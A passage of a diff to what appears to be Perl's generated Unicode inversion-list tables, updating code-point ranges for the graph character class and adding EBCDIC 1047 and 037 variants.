+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x21,
 	0x7F,
 	0xA1,
@@ -24639,6 +131665,8 @@
 	0x85C,
 	0x85E,
 	0x85F,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -24670,7 +131698,7 @@
 	0x9DF,
 	0x9E4,
 	0x9E6,
-	0x9FC,
+	0x9FE,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -24730,7 +131758,7 @@
 	0xAE6,
 	0xAF2,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -24843,7 +131871,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -24850,8 +131878,6 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
@@ -25066,11 +132092,9 @@
 	0x1CC0,
 	0x1CC8,
 	0x1CD0,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -25118,14 +132142,12 @@
 	0x2090,
 	0x209D,
 	0x20A0,
-	0x20BF,
+	0x20C0,
 	0x20D0,
 	0x20F1,
 	0x2100,
 	0x218C,
 	0x2190,
-	0x23FF,
-	0x2400,
 	0x2427,
 	0x2440,
 	0x244B,
@@ -25138,7 +132160,7 @@
 	0x2BBD,
 	0x2BC9,
 	0x2BCA,
-	0x2BD2,
+	0x2BD3,
 	0x2BEC,
 	0x2BF0,
 	0x2C00,
@@ -25176,7 +132198,7 @@
 	0x2DD8,
 	0x2DDF,
 	0x2DE0,
-	0x2E45,
+	0x2E4A,
 	0x2E80,
 	0x2E9A,
 	0x2E9B,
@@ -25192,7 +132214,7 @@
 	0x3099,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x3190,
@@ -25206,7 +132228,7 @@
 	0x3300,
 	0x4DB6,
 	0x4DC0,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA490,
@@ -25365,7 +132387,7 @@
 	0x102FC,
 	0x10300,
 	0x10324,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -25573,6 +132595,14 @@
 	0x118F3,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -25589,6 +132619,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -25630,13 +132674,15 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -25821,12 +132867,14 @@
 	0x1F249,
 	0x1F250,
 	0x1F252,
+	0x1F260,
+	0x1F266,
 	0x1F300,
-	0x1F6D3,
+	0x1F6D5,
 	0x1F6E0,
 	0x1F6ED,
 	0x1F6F0,
-	0x1F6F7,
+	0x1F6F9,
 	0x1F700,
 	0x1F774,
 	0x1F780,
@@ -25841,22 +132889,20 @@
 	0x1F888,
 	0x1F890,
 	0x1F8AE,
+	0x1F900,
+	0x1F90C,
 	0x1F910,
-	0x1F91F,
-	0x1F920,
-	0x1F928,
-	0x1F930,
-	0x1F931,
-	0x1F933,
 	0x1F93F,
 	0x1F940,
-	0x1F94C,
+	0x1F94D,
 	0x1F950,
-	0x1F95F,
+	0x1F96C,
 	0x1F980,
-	0x1F992,
+	0x1F998,
 	0x1F9C0,
 	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
 	0x20000,
 	0x2A6D7,
 	0x2A700,
@@ -25865,6 +132911,8 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
 	0xE0001,
@@ -25879,7 +132927,2657 @@
 	0x10FFFE
 };
 
-static const UV XPosixLower_invlist[] = { /* for ASCII/Latin1 */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXGRAPH_invlist[] = { /* for EBCDIC 1047 */
+	1309,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0xFF,
+	0x100,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x1680,
+	0x1681,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x200B,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3001,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xE000,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXGRAPH_invlist[] = { /* for EBCDIC 037 */
+	1309,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0xFF,
+	0x100,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
